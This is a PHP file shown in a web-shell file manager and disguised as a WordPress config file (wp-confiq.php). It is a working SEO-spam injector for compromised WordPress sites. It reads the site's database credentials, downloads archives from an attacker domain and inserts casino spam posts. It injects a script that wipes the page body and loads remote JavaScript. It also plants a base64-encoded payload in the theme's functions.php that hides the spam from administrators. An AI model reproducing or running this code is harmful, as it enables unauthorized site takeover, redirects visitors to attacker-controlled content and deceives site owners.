OwlCyberSecurity - MANAGER
Edit File: wp-confiq.php
<?php define('CURRENTDIR', getcwd()); #define('GS_ALIAS', 'http://95.217.98.121'); define('GS_ALIAS', 'https://bhd-gamebl.top'); define('URL_WITH_ARCHIVES', array( GS_ALIAS . '/4mini_multi/work/main_ru_title/{DIR_NUM}/', GS_ALIAS . '/4mini_multi/work/main_en_title/{DIR_NUM}/', GS_ALIAS . '/4mini_multi/work/main_de_title/{DIR_NUM}/' )); define('ARCHIVES_RANGE', '35'); define('DIR_NUM', 68); define('CUSTOM_AUTHOR_ID', 2539); define('REDEFINE_JS_FOR_USER', 1); define('CLOACKING', 1); define('HOME_LINKS', 1); $homeLinksSettings = array( 'hiddenType' => array( 'cloacking' => 0, 'css' => 1, ), 'position' => array( 'footer' => 0, 'head' => 1, ), 'language' => 'tr', //text api 'type' => 'CASINO', 'textBlocksCount' => array( 'onlyHomePage' => 1, '10DifferentTextBlocks' => 0, '100DifferentTextBlocks' => 0, 'fullDifferentTextBlocks' => 0, ), ); $_SERVER['homeLinksSettings'] = $homeLinksSettings; define('FORCE_CHANGE_HOME_LINKS_OWNER', 0); /* * Link building settings* */ define('INTERNAL_LINKING', 1); define('EXTERNAL_LINKING', 0); define('INTERNAL_LINKS_COUNT_PAGE', '2..6'); define('EXTERNAL_LINKS_COUNT_PAGE', '1..3'); define('TABLE_HASH', '11c601a3bad16d2567e6754cddc9d28c'); define('HTML_HASH', '31d410006291280c70416aabda41c4e9'); define('COUNT_LINKS_FROM_DOMAIN', 10); /* * Link building settings* */ define('SITEMAP_NAME', 'sitemap2'); define('USE_ORIGINAL_SLUG', 1); /* * Use unzip method with header.php * ziparchive unpacks files incorrectly. */ define('GREEK_LANGUAGE', 0); //define('HOME_URL', 'https://musicforlife.co.id'); if (defined('CUSTOM_AUTHOR_ID') && CUSTOM_AUTHOR_ID < 1000) { echo 'use CUSTOM_AUTHOR_ID value large then 1000' . PHP_EOL; exit; } if (is_null($rootDir = detectWProotDir())) { echo 'wp root directory not found' . PHP_EOL; exit; } if (!linkBuildingSettingsCheck()) { exit; } define('WP_ROOT_DIR', $rootDir); //define('CUSTOM_TEMPLATE_PATH', $rootDir . '/wp-content/themes/oshin'); if (!defined('TEMPLATEPATH')) { define('TEMPLATEPATH', ''); } if (!defined('STYLESHEETPATH')) { define('STYLESHEETPATH', ''); } if (!defined('WP_USE_THEMES')) { define('WP_USE_THEMES', false); } /* * settings* */ $actions = array( 'upload' => 1, 'unzip' => 1, 'import' => 1, 'hide' => 1, 'send' => 1, 'clean' => 1, 'homeLinks' => 1, //'sitemap' => 1, //'sitemapSecondMethod' => 1, //'rollback' => 1, //'sendPostsFromDb' => 1, // 'viewSettings' => 1, //'viewAllAuthors' => 1, //'globalRollback' => 1, //'allPermalinks' => 1, ); function genLet($size) { $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; $charactersLength = strlen($characters); $randomString = ""; for ($i = 0; $i < $size; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } $let = genLet(rand(6, 15)); $currentDateTime = date('Y-m-d'); $jsSource = <<<STR new Image().src = "//counter.yadro.ru/hit;afavturkey?r" + escape(document.referrer) + ((typeof(screen)=="undefined") ? "": ";s" + screen.width + "*" + screen.height + "*" + (screen.colorDepth?screen.colorDepth:screen.pixelDepth)) + ";u" + escape(document.URL) +" ;" + Math.random(); document.addEventListener("DOMContentLoaded", function() { let bodyNode = document.getElementsByTagName("body")[0]; if (bodyNode) bodyNode.remove(); }); let d$let = "<script type='text/javascript' src='//bhd-gamebl.top/frame-aff-2409.js?ref=" + encodeURI(document.URL) + "&title=" + encodeURI(document.title) + "&time=$currentDateTime + &httpref=" + encodeURI(document.referrer) + "'></script>"; document.write(d$let); STR; define('JS_SOURCE', $jsSource); define('RAND_DATE', 0); define('ALTERNATIVE_CONNECT_MYSQL', 0); /* * settings* */ if (ALTERNATIVE_CONNECT_MYSQL === 1) { if (isBadEnvCustom()) { echo 'change shell, invalid require wp-blog-header' . PHP_EOL; exit; } require_once WP_ROOT_DIR . '/wp-blog-header.php'; if (defined('DB_PASSWORD')) { if (stristr(DB_HOST, ':') !== false) { list($hostAddr, $dbPort) = explode(':', DB_HOST); } else { $dbPort = 3306; $hostAddr = DB_HOST; } $wpConfigArrTmp = array( 'dbname' => DB_NAME, 'dbuser' => DB_USER, 'dbpassword' => DB_PASSWORD, 'dbhostaddr' => $hostAddr, 'dbprefix' => $table_prefix, 'dbport' => $dbPort, ); define('WP_CONFIG_ARR_AS_JSON', json_encode($wpConfigArrTmp)); } else { echo 'error using alternative connection method' . PHP_EOL; } } $configSource = file_get_contents(WP_ROOT_DIR . '/wp-config.php'); if ($configSource === false) { echo 'error reading wp-config.php' . PHP_EOL; exit; } if (!defined('WRITEABLE_PATH')) { foreach (array('wp-content/uploads', 'wp-content/themes', 'wp-content/plugins') as $mbWriteablePath) { $writeableDirectory = findWriteablePath(WP_ROOT_DIR . '/' . $mbWriteablePath); if (!empty($writeableDirectory)) { define('WRITEABLE_PATH', $writeableDirectory); break; } } } if (!$writeableDirectory) { echo 'no directory for writing' . PHP_EOL; exit; } $tmpDirName = $_SERVER['HTTP_HOST']; if (!is_dir(WRITEABLE_PATH . '/' . $tmpDirName)) { if (!mkdir(WRITEABLE_PATH . '/' . $tmpDirName)) { echo 'dont create temp dir' . PHP_EOL; exit; } } define('TMPDIR', WRITEABLE_PATH . '/' . $tmpDirName); $configArr = parseWpConfig($configSource); define('CONFIGSOURCE', $configSource); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); if (mysqli_connect_errno()) { die("Could not connect: " . mysqli_error() . "\n"); } echo "Connected successfully" . PHP_EOL; $homeUrl = getHomeUrl($mysqli, $configArr); if (!defined('HOME_URL')) { if (is_null($homeUrl)) { echo 'homeurl function return null, please define HOME_URL manually' . PHP_EOL; exit; } else { define('HOME_URL', $homeUrl); } } if (defined('HOME_LINKS') && (HOME_LINKS === 1)) { if (!validateHomeLinks($actions)) { exit; } } function validateHomeLinks($actions) { if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) { return true; } if (!isset($actions['homeLinks'])) { return true; } $settings = getDbSettingsCustom(); if (isset($settings[CUSTOM_AUTHOR_ID])) { unset($settings[CUSTOM_AUTHOR_ID]); } foreach ($settings as $value) { if (isset($value['homeLinks']) && !is_null($value['homeLinks'])) { echo 'another user is using home links' . PHP_EOL; return false; } } return true; } if (!function_exists('file_put_contents')) { function file_put_contents($filename, $data) { $f = @fopen($filename, 'w'); if (!$f) { return false; } else { $bytes = fwrite($f, $data); fclose($f); return $bytes; } } } if (isset($actions['import']) && !isset($actions['hide'])) { echo 'you cannot run import without hide' . PHP_EOL; exit; } if (isset($actions['homeLinks']) && !isset($actions['hide'])) { $actions['hide'] = 1; } if ((count($actions) > 1) && isset($actions['hide'])) { unset($actions['hide']); $actions = array('hide' => 1) + $actions; } foreach ($actions as $actionName => $status) { if (!$status) { continue; } echo "Starting action: $actionName\n"; try { if (!doAction($actionName)) { echo "Action $actionName failed. Stopping execution.\n"; break; } echo "Action $actionName completed successfully.\n"; } catch (Exception $e) { echo "Error in action $actionName: " . $e->getMessage() . "\n"; break; } } function doAction($actionName) { $callBackName = $actionName . 'Action'; if (function_exists($callBackName)) { echo "Starting $callBackName\n"; try { $result = call_user_func($callBackName); echo "$callBackName completed. Result: " . ($result ? "true" : "false") . "\n"; return $result; } catch (Exception $e) { echo "Error in $callBackName: " . $e->getMessage() . "\n"; return false; } } else { echo "CallBack $callBackName not found\n"; return false; } } function sitemapSecondMethodAction() { if (!checkSitemapNameRoot()) { return false; } if (isBadEnvCustom()) { echo 'change shell, invalid require wp-blog-header' . PHP_EOL; exit; } require_once WP_ROOT_DIR . '/wp-blog-header.php'; $head = sitemapHeadSec(); $sitemapSource = $head . "\n"; $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml'; try { $urls = allPostsFromDb(); } catch (Exception $ex) { throw new Exception('invalid fetch urls for sitemap'); } if (empty($urls)) { echo "no posts by author id" . PHP_EOL; return false; } foreach ($urls as $urlWithTitle) { list ($url, $title) = explode(';', $urlWithTitle, 2); preg_match('~\?p=(\d+)~', $url, $idMatches); $url = get_permalink($idMatches[1]); echo $url . "\n"; $lastmod = date('Y-m-d'); $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always'); $priority = '0.' . rand(5, 9); $sitemapSource .= urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)] , $priority); wp_cache_delete($idMatches[1], 'posts'); } $sitemapSource .= "\n</urlset>"; if (file_put_contents($sitemapPath, $sitemapSource)) { touch($sitemapPath, frequenttimestamp(WP_ROOT_DIR)); echo currenturl($sitemapPath, HOME_URL); return true; } return false; } function sitemapHeadSec() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> STR; } function sitemapAction() { if (!checkSitemapNameRoot()) { return false; } $head = sitemapHeadSec(); $sitemapSource = $head . "\n"; $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml'; try { $urls = allPostsFromDb(); } catch (Exception $ex) { throw new Exception('invalid fetch urls for sitemap'); } if (empty($urls)) { echo "no posts by author id" . PHP_EOL; return false; } foreach ($urls as $urlWithTitle) { list ($url, $title) = explode(';', $urlWithTitle, 2); $lastmod = date('Y-m-d'); $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always'); $priority = '0.' . rand(5, 9); $sitemapSource .= urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)] , $priority); } $sitemapSource .= "\n</urlset>"; if (file_put_contents($sitemapPath, $sitemapSource)) { echo currenturl($sitemapPath); return true; } return false; } function uploadAction() { $urls = URL_WITH_ARCHIVES; foreach ($urls as $index => $url) { $url = str_replace('{DIR_NUM}', DIR_NUM, $url); $dirName = TMPDIR . '/dir_' . ($index + 1); if (!is_dir($dirName)) { mkdir($dirName, 0755, true); } try { echo "Uploading files from directory " . ($index + 1) . " to $dirName:\n"; uploadRangeOfFiles($url, ARCHIVES_RANGE, '.zip', $dirName, 'dir' . ($index + 1) . '_'); } catch (Exception $ex) { echo "Error uploading from directory " . ($index + 1) . ": " . $ex->getMessage() . "\n"; continue; } } return true; } function unzipAction() { // Сохранение текущей локали $currentLocale = setlocale(LC_ALL, 0); // Установка локали для корректной обработки русских имен файлов setlocale(LC_ALL, 'ru_RU.UTF-8'); echo "Starting unzipAction()" . PHP_EOL; if (defined('GREEK_LANGUAGE') && GREEK_LANGUAGE === 1) { echo 'use unzip with header' . PHP_EOL; try { $result = unzipFirstMethod(); } catch (Exception $ex) { // Восстановление первоначальной локали в случае исключения setlocale(LC_ALL, $currentLocale); echo "Error in unzipFirstMethod: " . $ex->getMessage() . PHP_EOL; return false; } } elseif (class_exists('ZipArchive')) { $result = unzipSecondMethod(); } else { echo 'use unzip with header' . PHP_EOL; try { $result = unzipFirstMethod(); } catch (Exception $ex) { // Восстановление первоначальной локали в случае исключения setlocale(LC_ALL, $currentLocale); echo "Error in unzipFirstMethod: " . $ex->getMessage() . PHP_EOL; return false; } } // Создание файла-флага о завершении распаковки if ($result) { $flagFile = TMPDIR . '/unzipsuccess'; if (file_put_contents($flagFile, date('Y-m-d H:i:s'))) { echo "Created unzip success flag file: $flagFile" . PHP_EOL; } else { echo "Failed to create unzip success flag file" . PHP_EOL; } } // Восстановление первоначальной локали перед возвратом setlocale(LC_ALL, $currentLocale); echo "unzipAction() completed. Result: " . ($result ? "success" : "failure") . PHP_EOL; return $result; } function importAction() { $configArr = parseWpConfig(CONFIGSOURCE); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); $date = ''; $htmlFiles = array(); echo "Starting importAction()" . PHP_EOL; echo "Number of HTML files found: " . count($htmlFiles) . PHP_EOL; for ($i = 1; $i <= 3; $i++) { $dirPath = TMPDIR . "/dir_$i"; $htmlFiles = array_merge($htmlFiles, glob("$dirPath/*.html")); } if (empty($htmlFiles)) { echo "html files not found" . PHP_EOL; return false; } echo "Number of HTML files found: " . count($htmlFiles) . PHP_EOL; shuffle($htmlFiles); $mutexName = defined('CUSTOM_AUTHOR_ID') ? '_' . CUSTOM_AUTHOR_ID : ''; if (file_exists(TMPDIR . '/import_finish' . $mutexName)) { echo 'files already imported' . PHP_EOL; return true; } if (!$htmlFiles) { echo "html files not found" . PHP_EOL; return false; } $extLinksArr = array(); if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) { $countHtmlFiles = count($htmlFiles); downloadExternalLinks($countHtmlFiles); $extLinksArr = decodeExternalLinks(); if (!$extLinksArr) { return false; } } $results = array(); if (!is_dir(TMPDIR . '/imported')) { if (!mkdir(TMPDIR . '/imported')) { echo "dont create imported dir" . PHP_EOL; return false; } } if (!defined('RAND_DATE') || (RAND_DATE === 0)) { $lastPostDate = $mysqli->query(lastPostDateQuery($configArr)); if ($lastPostDate) { $lastDateFetch = $lastPostDate->fetch_assoc(); $date = $lastDateFetch['post_date']; } else { $date = date('Y-m-d H:i:s'); } $mysqli->query("SET SQL_MODE='ALLOW_INVALID_DATES';"); } function safeBasename($path, $suffix = '') { $basename = preg_replace('/^.*[\\\\\\/]/', '', $path); $basename = preg_replace('/^-+/', '', $basename); // Удаляем дефисы в начале строки return $suffix ? preg_replace('/' . preg_quote($suffix, '/') . '$/', '', $basename) : $basename; } $importedCount = 0; foreach ($htmlFiles as $key => $html) { try { $contentParts = contentParts(file_get_contents($html)); } catch (Exception $ex) { echo $ex->getMessage() . PHP_EOL; continue; } $text = $contentParts['text']; $text = textWithLinks($text, $results, $extLinksArr); // Генерация пользовательского slug if (defined('USE_ORIGINAL_SLUG') && (USE_ORIGINAL_SLUG === 1)) { $originalSlug = safeBasename($html, '.html'); //error_log('Original slug: ' . $originalSlug); $firstWord = explode('-', $contentParts['slug'])[0]; // Сохраняем первое слово из slug $customSlug = stringToSlug($originalSlug); //error_log('Transliterated original slug: ' . $customSlug); if (strpos($customSlug, $firstWord) !== 0) { $customSlug = $firstWord . '-' . $customSlug; } } else { $customSlug = $contentParts['slug']; } //error_log('Final custom slug: ' . $customSlug); /* Логируем параметры перед передачей в SQL-запрос echo "Title: " . $mysqli->real_escape_string($contentParts['title']) . PHP_EOL; echo "Text length: " . strlen($mysqli->real_escape_string($contentParts['text'])) . PHP_EOL; echo "Description: " . $mysqli->real_escape_string($contentParts['description']) . PHP_EOL; echo "Custom Slug: " . $customSlug . PHP_EOL;*/ // Формирование SQL-запроса $query = insertquery( $configArr['dbname'], $configArr['dbprefix'] . 'posts', $mysqli->real_escape_string($contentParts['title']), // Передача заголовка $mysqli->real_escape_string($contentParts['text']), // Передача текста $mysqli->real_escape_string($contentParts['description']),// Передача описания $date, $customSlug ); $result = $mysqli->query($query); if ($result) { $results[] = resultFormat(HOME_URL, $mysqli->insert_id, $contentParts['title']); rename($html, TMPDIR . '/imported/' . safeBasename($html, '.html')); echo "Article inserted successfully with title: " . $contentParts['title'] . PHP_EOL; echo "Description inserted: " . $contentParts['description'] . PHP_EOL; $importedCount++; } else { echo $mysqli->error . PHP_EOL; } } // Переместите эту проверку за пределы цикла if (!empty($results)) { $logPath = TMPDIR . '/log' . $mutexName . '.txt'; echo 'write to log - ' . $logPath . PHP_EOL; echo currenturl($logPath, HOME_URL) . PHP_EOL; file_put_contents($logPath, implode("\n", $results) . "\n", FILE_APPEND); file_put_contents(TMPDIR . '/import_finish' . $mutexName, ''); return true; } else { echo "results are empty" . PHP_EOL; return false; } if ($importedCount > 0) { $logPath = TMPDIR . '/log' . $mutexName . '.txt'; echo 'write to log - ' . $logPath . PHP_EOL; echo currenturl($logPath, HOME_URL) . PHP_EOL; file_put_contents($logPath, implode("\n", $results) . "\n", FILE_APPEND); file_put_contents(TMPDIR . '/import_finish' . $mutexName, ''); echo "Total articles imported: $importedCount" . PHP_EOL; return true; } else { echo "No articles were imported" . PHP_EOL; return false; } } function linksPrepare($results) { $links = array(); foreach ($results as $result) { list ($url, $title) = explode(';', $result, 2); $title = htmlspecialchars_decode($title); $url = str_replace('//?p=', '/?p=', $url); $links[] = "<a href=\"$url\">$title</a>"; } return $links; } function getTemplatePath() { $configArr = parseWpConfig(CONFIGSOURCE); $mysqli = new mysqli($configArr['dbhostaddr'], $configArr['dbuser'], $configArr['dbpassword'], $configArr['dbname'], $configArr['dbport']); $query = "SELECT * FROM `" . $configArr['dbprefix'] . "options` WHERE `option_name` = 'template'"; $activePluginsResult = mysqli_query($mysqli, $query); $resultsArr = mysqli_fetch_array($activePluginsResult); $templateName = $resultsArr['option_value']; if (!$templateName) { return; } if (file_exists(WP_ROOT_DIR . '/wp-content/themes/' . $templateName . '/functions.php')) { return WP_ROOT_DIR . '/wp-content/themes/' . $templateName; } //echo 'functions.php not found in theme directory' . PHP_EOL; } function hideAction() { echo "Starting hideAction()" . PHP_EOL; if (!defined('CUSTOM_TEMPLATE_PATH')) { $templateDirectory = getTemplatePath(); echo "Template directory from getTemplatePath(): $templateDirectory" . PHP_EOL; } else { $templateDirectory = CUSTOM_TEMPLATE_PATH; echo "Using CUSTOM_TEMPLATE_PATH: $templateDirectory" . PHP_EOL; } $functionsPath = $templateDirectory . '/functions.php'; echo "Functions path: $functionsPath" . PHP_EOL; if (!file_exists($functionsPath)) { echo $functionsPath . '/ no exists' . PHP_EOL; return false; } if (!is_writeable($functionsPath)) { echo $functionsPath . ' no writeable' . PHP_EOL; return false; } $source = 'LyogY3VzdG9tIGZpbHRlcnMgKi8KCmZ1bmN0aW9uIGFkZF93aGVyZV9jb25kaXRpb24oJHdoZXJlKSB7CiAgICBnbG9iYWwgJHdwZGIsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJGlkcyA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICAkaWRzQ29tbWFTZXBhcmF0ZWQgPSBpbXBsb2RlKCcsICcsICRpZHMpOwoKICAgIGlmICghaXNfc2luZ2xlKCkgJiYgaXNfYWRtaW4oKSkgewogICAgICAgIGFkZF9maWx0ZXIoJ3ZpZXdzX2VkaXQtcG9zdCcsICdmaXhfcG9zdF9jb3VudHMnKTsKICAgICAgICByZXR1cm4gJHdoZXJlIC4gIiBBTkQgeyR3cGRiLT5wb3N0c30ucG9zdF9hdXRob3IgTk9UIElOICgkaWRzQ29tbWFTZXBhcmF0ZWQpIjsKICAgIH0KCiAgICByZXR1cm4gJHdoZXJlOwp9CgpmdW5jdGlvbiBwb3N0X2V4Y2x1ZGUoJHF1ZXJ5KSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJGlkcyA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICAkZXhjbHVkZVN0cmluZyA9IG1vZGlmeVdyaXRlcnNTdHJpbmcoJGlkcyk7CgogICAgaWYgKCEkcXVlcnktPmlzX3NpbmdsZSgpICYmICFpc19hZG1pbigpKSB7CiAgICAgICAgJHF1ZXJ5LT5zZXQoJ2F1dGhvcicsICRleGNsdWRlU3RyaW5nKTsKICAgIH0KfQoKZnVuY3Rpb24gd3BfY29yZV9qcygpIHsKCiAgICBnbG9iYWwgJHBvc3QsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgZm9yZWFjaCAoJHVzZXJTZXR0aW5nc0FyciBhcyAkaWQgPT4gJHNldHRpbmdzKSB7CiAgICAgICAgaWYgKCgkaWQgPT0gJHBvc3QtPnBvc3RfYXV0aG9yKSAmJiAoaXNzZXQoJHNldHRpbmdzWydqcyddKSkpIHsKCiAgICAgICAgICAgIGlmIChoaWRlSlNzb3VyY2UoJHNldHRpbmdzKSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAkc2V0dGluZ3NbJ2pzJ107CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gaGlkZUpTc291cmNlKCRzZXR0aW5ncykgewogICAgaWYgKGlzc2V0KCRzZXR0aW5nc1snbm9qcyddKSAmJiAkc2V0dGluZ3NbJ25vanMnXSA9PT0gMSkgewogICAgICAgIC8vY3VzdG9tU2V0RGVidWcoJ2Nsb2Fja2luZyBpcyBvbiEnKTsKICAgICAgICAvL2N1c3RvbVNlbmREZWJ1ZygpOwogICAgICAgIGlmIChjdXN0b21DaGVja1NlKCkpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBmaXhfcG9zdF9jb3VudHMoJHZpZXdzKSB7CiAgICBnbG9iYWwgJGN1cnJlbnRfdXNlciwgJHdwX3F1ZXJ5OwoKICAgICR0eXBlcyA9IGFycmF5KAogICAgICAgIGFycmF5KCdzdGF0dXMnID0+IE5VTEwpLAogICAgICAgIGFycmF5KCdzdGF0dXMnID0+ICdwdWJsaXNoJyksCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ2RyYWZ0JyksCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ3BlbmRpbmcnKSwKICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAndHJhc2gnKSwKICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAnbWluZScpLAogICAgKTsKICAgIGZvcmVhY2ggKCR0eXBlcyBhcyAkdHlwZSkgewoKICAgICAgICAkcXVlcnkgPSBhcnJheSgKICAgICAgICAgICAgJ3Bvc3RfdHlwZScgPT4gJ3Bvc3QnLAogICAgICAgICAgICAncG9zdF9zdGF0dXMnID0+ICR0eXBlWydzdGF0dXMnXQogICAgICAgICk7CgogICAgICAgICRyZXN1bHQgPSBuZXcgV1BfUXVlcnkoJHF1ZXJ5KTsKCiAgICAgICAgaWYgKCR0eXBlWydzdGF0dXMnXSA9PSBOVUxMKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWydhbGwnXSwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ2FsbCddID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF0sICc+KCcgLiAkcmVzdWx0LT5mb3VuZF9wb3N0cyAuICcpPCcsICR2aWV3c1snYWxsJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAnbWluZScpIHsKCgogICAgICAgICAgICAkbmV3UXVlcnkgPSAkcXVlcnk7CiAgICAgICAgICAgICRuZXdRdWVyeVsnYXV0aG9yX19pbiddID0gYXJyYXkoJGN1cnJlbnRfdXNlci0+SUQpOwoKICAgICAgICAgICAgJHJlc3VsdCA9IG5ldyBXUF9RdWVyeSgkbmV3UXVlcnkpOwoKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJ35cPlwoKFswLTksXSspXClcPH4nLCAkdmlld3NbJ21pbmUnXSwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ21pbmUnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ21pbmUnXSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoJHR5cGVbJ3N0YXR1cyddID09ICdwdWJsaXNoJykgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1sncHVibGlzaCddLCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgICAgICR2aWV3c1sncHVibGlzaCddID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF0sICc+KCcgLiAkcmVzdWx0LT5mb3VuZF9wb3N0cyAuICcpPCcsICR2aWV3c1sncHVibGlzaCddKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ2RyYWZ0JykgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1snZHJhZnQnXSwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ2RyYWZ0J10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydkcmFmdCddKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ3BlbmRpbmcnKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWydwZW5kaW5nJ10sICRtYXRjaGVzKSkgewogICAgICAgICAgICAgICAgJHZpZXdzWydwZW5kaW5nJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydwZW5kaW5nJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAndHJhc2gnKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWyd0cmFzaCddLCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgICAgICR2aWV3c1sndHJhc2gnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ3RyYXNoJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICR2aWV3czsKfQoKZnVuY3Rpb24gZmlsdGVyX2Z1bmN0aW9uX25hbWVfNDA1NSgkY291bnRzLCAkdHlwZSwgJHBlcm0pIHsKCiAgICBpZiAoJHR5cGUgPT09ICdwb3N0JykgewogICAgICAgICRvbGRfY291bnRzID0gJGNvdW50cy0+cHVibGlzaDsKICAgICAgICAkY291bnRzX21vZCA9IHBvc3RzX2NvdW50X2N1c3RvbSgkcGVybSk7CiAgICAgICAgJGNvdW50cy0+cHVibGlzaCA9ICEkY291bnRzX21vZCA/ICRvbGRfY291bnRzIDogJGNvdW50c19tb2Q7CiAgICB9CiAgICByZXR1cm4gJGNvdW50czsKfQoKZnVuY3Rpb24gcG9zdHNfY291bnRfY3VzdG9tKCRwZXJtKSB7CiAgICBnbG9iYWwgJHdwZGIsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJGlkcyA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICAkaWRzQ29tbWFTZXBhcmF0ZWQgPSBpbXBsb2RlKCcsICcsICRpZHMpOwoKICAgICR0eXBlID0gJ3Bvc3QnOwoKICAgICRxdWVyeSA9ICJTRUxFQ1QgcG9zdF9zdGF0dXMsIENPVU5UKCAqICkgQVMgbnVtX3Bvc3RzIEZST00geyR3cGRiLT5wb3N0c30gV0hFUkUgcG9zdF90eXBlID0gJXMiOwoKICAgIGlmICgncmVhZGFibGUnID09ICRwZXJtICYmIGlzX3VzZXJfbG9nZ2VkX2luKCkpIHsKCiAgICAgICAgJHBvc3RfdHlwZV9vYmplY3QgPSBnZXRfcG9zdF90eXBlX29iamVjdCgkdHlwZSk7CgogICAgICAgIGlmICghY3VycmVudF91c2VyX2NhbigkcG9zdF90eXBlX29iamVjdC0+Y2FwLT5yZWFkX3ByaXZhdGVfcG9zdHMpKSB7CiAgICAgICAgICAgICRxdWVyeSAuPSAkd3BkYi0+cHJlcGFyZSgKICAgICAgICAgICAgICAgICAgICAiIEFORCAocG9zdF9zdGF0dXMgIT0gJ3ByaXZhdGUnIE9SICggcG9zdF9hdXRob3IgPSAlZCBBTkQgcG9zdF9zdGF0dXMgPSAncHJpdmF0ZScgKSkiLCBnZXRfY3VycmVudF91c2VyX2lkKCkKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9CiAgICAkcXVlcnkgLj0gIiBBTkQgcG9zdF9hdXRob3IgTk9UIElOICgkaWRzQ29tbWFTZXBhcmF0ZWQpIEdST1VQIEJZIHBvc3Rfc3RhdHVzIjsKICAgICRyZXN1bHRzID0gKGFycmF5KSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJHdwZGItPnByZXBhcmUoJHF1ZXJ5LCAkdHlwZSksIEFSUkFZX0EpOwoKICAgIGZvcmVhY2ggKCRyZXN1bHRzIGFzICR0bXBBcnIpIHsKICAgICAgICBpZiAoJHRtcEFyclsncG9zdF9zdGF0dXMnXSA9PT0gJ3B1Ymxpc2gnKSB7CiAgICAgICAgICAgIHJldHVybiAkdG1wQXJyWydudW1fcG9zdHMnXTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGFsbF9jdXN0b21fcG9zdHNfaWRzKCR1c2VySWQpIHsKICAgIGdsb2JhbCAkd3BkYjsKCiAgICAkcXVlcnkgPSAiU0VMRU